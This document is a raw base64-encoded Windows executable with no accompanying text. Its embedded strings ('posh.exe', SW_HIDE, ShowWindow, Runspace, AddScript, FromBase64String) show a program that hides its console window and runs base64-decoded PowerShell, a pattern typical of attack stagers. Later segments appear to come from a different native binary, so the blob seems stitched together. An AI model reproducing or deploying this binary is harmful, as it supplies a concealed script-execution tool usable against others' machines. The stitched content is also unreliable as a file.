QQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEA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UwAbAAEAUCAAAAAAhhheACEAAwBcIAAAAACWAGQAJQADABAhAAAAAJYAdQAqAAQAeCEAAAAAlgB7AC8ABQAAAAEAgAAAAAIAhQAAAAEAjgAAAAEAjgARAF4AMwAZAF4AIQAhAF4AOAAJAF4AIQApAJwBRgAxAKsBIQA5AF4ASwAxAMgBUQBBAOkBVgBJAPYBOABBADUCWwAxADwCIQBhAF4AIQAMAIUCawAUAJMCewBhAJ8CgABxAMUChgB5ANoCIQAJAOICigCBAPICigCJAAADqQCRABQDrgCJACUDtAAIAAQADQAIAAgAEgAuAAsAwwAuABMAzACOALoAvwAnATQBZAB0AAABAwBCAAEAAAEFAFMAAgAEgAAAAAAAAAAAAAAAAAAAAADwAAAAAgAAAAAAAAAAAAAAAQAbAAAAAAABAAAAAAAAAAAAAAA9AD8BAAAAAAAAAAAAPE1vZHVsZT4AcG9zaC5leGUAUHJvZ3JhbQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFNXX0hJREUAU1dfU0hPVwBHZXRDb25zb2xlV2luZG93AFNob3dXaW5kb3cALmN0b3IASW52b2tlQXV0b21hdGlvbgBSdW5QUwBNYWluAGhXbmQAbkNtZFNob3cAY21kAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBwb3NoAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAHVzZXIzMi5kbGwAU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbgBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlJ1bnNwYWNlcwBSdW5zcGFjZUZhY3RvcnkAUnVuc3BhY2UAQ3JlYXRlUnVuc3BhY2UAT3BlbgBSdW5zcGFjZUludm9rZQBQaXBlbGluZQBDcmVhdGVQaXBlbGluZQBDb21tYW5kQ29sbGVjdGlvbgBnZXRfQ29tbWFuZHMAQWRkU2NyaXB0AFN5c3RlbS5Db2xsZWN0aW9ucy5PYmplY3RNb2RlbABDb2xsZWN0aW9uYDEA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